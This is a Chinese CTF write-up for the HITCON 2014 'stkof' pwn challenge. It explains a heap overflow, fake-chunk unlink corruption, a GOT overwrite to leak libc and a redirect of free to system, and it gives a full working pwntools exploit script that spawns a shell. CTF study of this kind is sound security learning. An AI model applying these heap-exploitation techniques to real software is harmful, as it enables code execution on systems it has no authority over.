unlink 2014 HITCON stkof

题目可以从buuctf下载
参考链接有两篇:一篇使我们的靶场里面的内网服务器的文章链接就不贴了:他所使用的原理是通过atoi函数来达到获取shell的,另外一篇通过free-》system https://blog.csdn.net/Pwnpanda/article/details/81369367

首先拿到题目,随便输入发现没有任何提示,,,,在IDA里面仔细看了看,大概看出来
1.用来分配
2用来写入内容
3.用来free
4.好像没什么用

而且发现在输入的时候是没有验证大小的,可以随便输入所以就可以溢出修改下一个堆块
然后free触发unlink,指向指向自己想要的位置
还有就是我们发现S存放的是堆的地址 0x602140
在这里插入图片描述
然后大致思路就有了,通过溢出,然后出发unlink,指向自己能够控制的区域,然后泄露地址,最后获得shell(那么如何泄露地址?我这边采用的方法是使用free@got->put_plt)

首先构造五个堆块 (我这个虚拟机也不知道是更新了还是咋的,中间有好几个堆丢不是我申请的,所以申请五个进行绕过,,其中有个0x1011,0x411)

head = 0x602140   #s location

alloc(0x50) # chunk 1  raoguo 0x411
alloc(0x50)#chunk 2
alloc(0x30) #chunk 3
alloc(0x80) #chunk 4
alloc(0x20) #chunk 5

我们申请堆的地址
在这里插入图片描述

#fake chunk 6  
payload = p64(0)        #prev_size
payload += p64(0x30)  #size
payload += p64(head + 0x18 - 0x18)  #fd ->chunk 3
payload += p64(head + 0x18 - 0x10)  #bk ->chunk 3
payload += p64(0x30)  # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')

payload += p64(0x30)
# make it believe that prev chunk is free
payload += p64(0x90)
edit(3, len(payload), payload)
gdb.attach(p)
free(4) #unlink
p.recvuntil('OK\n')

在这里插入图片描述
为什么伪造在这?因为后面可以控制堆的地址,使其指向我们想要的函数地址,并且在修改堆(就相当于修改那些函数地址)就可以达到我们要的效果

触发了unlink后的结果,可以看到第五块的pre_size变为了0xc0,也就是前两块合并了(0x30+0x80+0x10)
在这里插入图片描述
然后修改分别将ptr1->指向free,ptr2->指向puts

payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
edit(3, len(payload), payload)# &ptr1 = free@got  &ptr2=puts@got

在这里插入图片描述
在这里插入图片描述

然后我们将free@got指向—>puts_plt

payload = p64(stkof.plt['puts'])
edit(1,len(payload),payload) # modify free@got -> put@plt

在这里插入图片描述
然后free(2) 就可以打印出put的地址了
在这里插入图片描述

同样的原理,将free@got—>指向system

payload = p64(system_addr)
edit(1,len(payload), payload)

在这里插入图片描述
然后还缺一个bin_sh,直接修改就可以了,,拿到shell

bin_sh = '/bin/sh\x00'
edit(5,len(bin_sh),bin_sh)

在这里插入图片描述
然后附上所有代码吧

from pwn import *

p = process('./stkof')
#p = remote("node4.buuoj.cn",28033)
stkof = ELF('stkof')
libc = ELF('./libc.so.6')
context.log_level = 'debug'

def alloc(size):
	p.sendline('1')
	p.sendline(str(size))
	p.recvuntil('OK\n')

def edit(idx,size,content):
	p.sendline('2')
	p.sendline(str(idx))
	p.sendline(str(size))
	p.send(content)
	p.recvuntil('OK\n')

def free(idx):
	p.sendline('3')
	p.sendline(str(idx))


head = 0x602140   #s location

alloc(0x50) # chunk 1  raoguo 0x411
alloc(0x50)#chunk 2
alloc(0x30) #chunk 3
alloc(0x80) #chunk 4
alloc(0x20) #chunk 5
#free(3)


#fake chunk 6  
payload = p64(0)        #prev_size
payload += p64(0x30)  #size
payload += p64(head + 0x18 - 0x18)  #fd ->chunk 3
payload += p64(head + 0x18 - 0x10)  #bk ->chunk 3
payload += p64(0x30)  # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')

payload += p64(0x30)
# make it believe that prev chunk is free
payload += p64(0x90)
edit(3, len(payload), payload)

free(4) #unlink
p.recvuntil('OK\n')

print("free addr is : ",hex(stkof.got['free']))#free 0x602018
print("puts addr is : ",hex(stkof.got['puts']))#static puts 0x602020  changeable 0x7f212da2d6a0
print("atoi addr is : ",hex(stkof.got['atoi']))#atoi 0x602088  	changeable	0x00007f08c6c5be90
print("puts_plt addr is : ",hex(stkof.plt['puts']))#atoi 0x400760  


payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
edit(3, len(payload), payload)# &ptr1 = free@got  &ptr2=puts@got
payload = p64(stkof.plt['puts'])

edit(1,len(payload),payload) # modify free@got -> put@plt

free(2) #print put;
puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00'))

print("addr is :",hex(puts_addr))#0x7f212da2d6a0
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
print("system_addr",hex(system_addr))
payload = p64(system_addr)
edit(1,len(payload), payload)
#gdb.attach(p)
bin_sh = '/bin/sh\x00'
edit(5,len(bin_sh),bin_sh)

free(5)

p.interactive()

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值